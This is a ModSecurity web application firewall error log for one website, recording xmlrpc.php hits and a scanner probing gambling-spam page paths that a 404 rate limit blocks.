[Tue May 19 15:52:29.678505 2026] [:error] [pid 29823:tid 29860] [client 143.105.253.170:46332] [client 143.105.253.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.253.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agwWvWO09C0nAz8vRk4rjgAAAdU"]
[Tue May 19 15:52:41.935321 2026] [:error] [pid 38814:tid 38821] [client 143.105.253.170:12985] [client 143.105.253.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.253.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agwWyQvkKuBwP0epzWeIzQAAAMU"]
[Tue May 19 16:30:23.088295 2026] [:error] [pid 29622:tid 29635] [client 65.108.125.120:47910] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agwfnzkOqPKWkPs_P15KUQAAAgs"]
[Tue May 19 16:30:25.127160 2026] [:error] [pid 46896:tid 46909] [client 65.108.125.120:47924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agwfoaCHyzL3Ci9LGE1X5wAAAYs"]
[Tue May 19 16:30:27.002314 2026] [:error] [pid 46896:tid 46911] [client 65.108.125.120:47940] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agwfo6CHyzL3Ci9LGE1X6wAAAY0"]
[Tue May 19 16:30:28.941619 2026] [:error] [pid 41573:tid 41580] [client 65.108.125.120:34246] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agwfpC1A2bd6JDSW9RZsrQAAAQU"]
[Tue May 19 16:30:30.948679 2026] [:error] [pid 41573:tid 41578] [client 65.108.125.120:34252] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agwfpi1A2bd6JDSW9RZsrgAAAQM"]
[Tue May 19 16:30:32.977128 2026] [:error] [pid 38814:tid 38838] [client 65.108.125.120:34262] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agwfqAvkKuBwP0epzWeQbwAAANY"]
[Tue May 19 16:30:34.852355 2026] [:error] [pid 38699:tid 38743] [client 65.108.125.120:34276] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agwfqr--Adsw_P-dthaHngAAAEE"]
[Tue May 19 16:30:36.857523 2026] [:error] [pid 38699:tid 38761] [client 65.108.125.120:34290] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agwfrL--Adsw_P-dthaHoAAAAFM"]
[Tue May 19 16:30:38.859049 2026] [:error] [pid 38699:tid 38763] [client 65.108.125.120:47466] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agwfrr--Adsw_P-dthaHpwAAAFU"]
[Tue May 19 16:30:40.867163 2026] [:error] [pid 38697:tid 38736] [client 65.108.125.120:47480] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agwfsKXP9pP6Kgt-msQuIgAAABU"]
[Tue May 19 16:30:42.870593 2026] [:error] [pid 38697:tid 38720] [client 65.108.125.120:47488] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agwfsqXP9pP6Kgt-msQuJAAAAAU"]
[Tue May 19 16:30:44.898320 2026] [:error] [pid 38814:tid 38820] [client 65.108.125.120:47504] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agwftAvkKuBwP0epzWeQeAAAAMQ"]
[Tue May 19 16:30:46.946277 2026] [:error] [pid 38705:tid 38781] [client 65.108.125.120:47516] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agwftsg5dNOZ5umN9ltXQgAAAIw"]
[Tue May 19 16:30:48.848554 2026] [:error] [pid 38699:tid 38749] [client 65.108.125.120:16916] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agwfuL--Adsw_P-dthaHtgAAAEc"]
[Tue May 19 16:30:50.881705 2026] [:error] [pid 41573:tid 41598] [client 65.108.125.120:16928] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agwfui1A2bd6JDSW9RZsvQAAARc"]
[Tue May 19 16:30:52.921900 2026] [:error] [pid 41573:tid 41591] [client 65.108.125.120:16944] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agwfvC1A2bd6JDSW9RZswAAAARA"]
[Tue May 19 16:30:54.972637 2026] [:error] [pid 38699:tid 38750] [client 65.108.125.120:16960] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agwfvr--Adsw_P-dthaH1QAAAEg"]
[Tue May 19 16:30:56.890659 2026] [:error] [pid 38814:tid 38828] [client 65.108.125.120:16966] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agwfwAvkKuBwP0epzWeQnQAAAMw"]
[Tue May 19 16:30:58.776884 2026] [:error] [pid 38699:tid 38749] [client 65.108.125.120:27226] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agwfwr--Adsw_P-dthaH8QAAAEc"]
[Tue May 19 16:31:00.675473 2026] [:error] [pid 38814:tid 38817] [client 65.108.125.120:27232] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agwfxAvkKuBwP0epzWeQpgAAAME"]
[Tue May 19 16:31:02.701638 2026] [:error] [pid 38814:tid 38826] [client 65.108.125.120:27248] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agwfxgvkKuBwP0epzWeQrQAAAMo"]
[Tue May 19 16:31:04.736551 2026] [:error] [pid 38697:tid 38725] [client 65.108.125.120:27264] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agwfyKXP9pP6Kgt-msQuQAAAAAo"]
[Tue May 19 16:31:06.728026 2026] [:error] [pid 46896:tid 46902] [client 65.108.125.120:27270] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agwfyqCHyzL3Ci9LGE1X9QAAAYQ"]
[Tue May 19 16:31:18.291649 2026] [:error] [pid 38697:tid 38722] [client 65.108.125.120:59974] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agwf1qXP9pP6Kgt-msQuQgAAAAc"]
[Tue May 19 16:32:13.564090 2026] [:error] [pid 38814:tid 38830] [client 65.108.125.120:33696] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agwgDQvkKuBwP0epzWeQ3AAAAM4"]
[Tue May 19 16:32:15.543867 2026] [:error] [pid 46896:tid 46910] [client 65.108.125.120:33700] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "agwgD6CHyzL3Ci9LGE1YBQAAAYw"]
[Tue May 19 16:32:17.357964 2026] [:error] [pid 38814:tid 38838] [client 65.108.125.120:33714] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "agwgEQvkKuBwP0epzWeQ5wAAANY"]
[Tue May 19 16:32:19.353828 2026] [:error] [pid 46896:tid 46915] [client 65.108.125.120:1896] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "agwgE6CHyzL3Ci9LGE1YCQAAAZE"]
[Tue May 19 16:32:21.332031 2026] [:error] [pid 38697:tid 38734] [client 65.108.125.120:1912] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agwgFaXP9pP6Kgt-msQucwAAABM"]
[Tue May 19 16:32:23.176543 2026] [:error] [pid 46896:tid 46911] [client 65.108.125.120:1914] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agwgF6CHyzL3Ci9LGE1YDgAAAY0"]
[Tue May 19 16:32:25.152973 2026] [:error] [pid 38697:tid 38738] [client 65.108.125.120:1928] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agwgGaXP9pP6Kgt-msQuiQAAABc"]
[Tue May 19 16:32:27.134805 2026] [:error] [pid 38814:tid 38840] [client 65.108.125.120:1932] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agwgGwvkKuBwP0epzWeQ8AAAANg"]
[Tue May 19 16:32:29.118316 2026] [:error] [pid 38699:tid 38764] [client 65.108.125.120:12006] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agwgHb--Adsw_P-dthaIZAAAAFY"]
[Tue May 19 16:32:31.090906 2026] [:error] [pid 38699:tid 38748] [client 65.108.125.120:12010] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agwgH7--Adsw_P-dthaIagAAAEY"]
[Tue May 19 16:32:47.102296 2026] [:error] [pid 38697:tid 38733] [client 65.108.125.120:5732] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agwgL6XP9pP6Kgt-msQumQAAABI"]
[Tue May 19 16:32:49.082540 2026] [:error] [pid 29622:tid 29645] [client 65.108.125.120:34576] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agwgMTkOqPKWkPs_P15KhgAAAhU"]
[Tue May 19 16:32:51.070728 2026] [:error] [pid 38699:tid 38753] [client 65.108.125.120:34578] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agwgM7--Adsw_P-dthaIgQAAAEs"]
[Tue May 19 16:32:53.054566 2026] [:error] [pid 38699:tid 38749] [client 65.108.125.120:34582] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agwgNb--Adsw_P-dthaIggAAAEc"]
[Tue May 19 16:32:54.881853 2026] [:error] [pid 38697:tid 38736] [client 65.108.125.120:34592] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agwgNqXP9pP6Kgt-msQuoQAAABU"]
[Tue May 19 16:32:56.844193 2026] [:error] [pid 38697:tid 38737] [client 65.108.125.120:34602] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agwgOKXP9pP6Kgt-msQupAAAABY"]
[Tue May 19 16:32:58.828836 2026] [:error] [pid 38697:tid 38723] [client 65.108.125.120:18018] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agwgOqXP9pP6Kgt-msQupwAAAAg"]
[Tue May 19 16:33:00.799639 2026] [:error] [pid 29622:tid 29630] [client 65.108.125.120:18020] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agwgPDkOqPKWkPs_P15KiAAAAgY"]
[Tue May 19 16:34:16.161919 2026] [:error] [pid 41573:tid 41589] [client 65.108.125.120:22776] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agwgiC1A2bd6JDSW9RZtMQAAAQ4"]
[Tue May 19 16:34:18.156389 2026] [:error] [pid 38814:tid 38836] [client 65.108.125.120:20764] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agwgigvkKuBwP0epzWeRGQAAANQ"]
[Tue May 19 16:34:20.159779 2026] [:error] [pid 46896:tid 46904] [client 65.108.125.120:20772] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agwgjKCHyzL3Ci9LGE1YJwAAAYY"]
[Tue May 19 16:34:22.183163 2026] [:error] [pid 38697:tid 38729] [client 65.108.125.120:20774] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "agwgjqXP9pP6Kgt-msQu3AAAAA4"]
[Tue May 19 16:34:24.210938 2026] [:error] [pid 38697:tid 38728] [client 65.108.125.120:20782] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "agwgkKXP9pP6Kgt-msQu3QAAAA0"]
[Tue May 19 17:30:38.027791 2026] [:error] [pid 38705:tid 38774] [client 129.226.152.67:48888] [client 129.226.152.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agwtvsg5dNOZ5umN9ltZ7AAAAIU"]
[Tue May 19 18:26:15.628078 2026] [:error] [pid 38697:tid 38726] [client 121.52.157.140:2048] [client 121.52.157.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.157.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agw6x6XP9pP6Kgt-msRCkAAAAAs"]
[Tue May 19 18:26:25.542597 2026] [:error] [pid 46815:tid 46835] [client 121.52.157.140:2049] [client 121.52.157.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.157.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agw60SPnRhJOmA06Lgpr9gAAAVI"]
[Tue May 19 18:26:36.231611 2026] [:error] [pid 46896:tid 46904] [client 121.52.157.140:2050] [client 121.52.157.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.157.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agw63KCHyzL3Ci9LGE1dnAAAAYY"]
[Tue May 19 18:26:46.615376 2026] [:error] [pid 29622:tid 29632] [client 121.52.157.140:2051] [client 121.52.157.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.157.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agw65jkOqPKWkPs_P15OEAAAAgg"]
[Tue May 19 18:26:57.186706 2026] [:error] [pid 46815:tid 46829] [client 121.52.157.140:2052] [client 121.52.157.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.157.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agw68SPnRhJOmA06Lgpr_QAAAUw"]
[Tue May 19 19:10:51.669377 2026] [:error] [pid 41573:tid 41589] [client 51.83.7.81:53120] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agxFOy1A2bd6JDSW9RaD-wAAAQ4"]
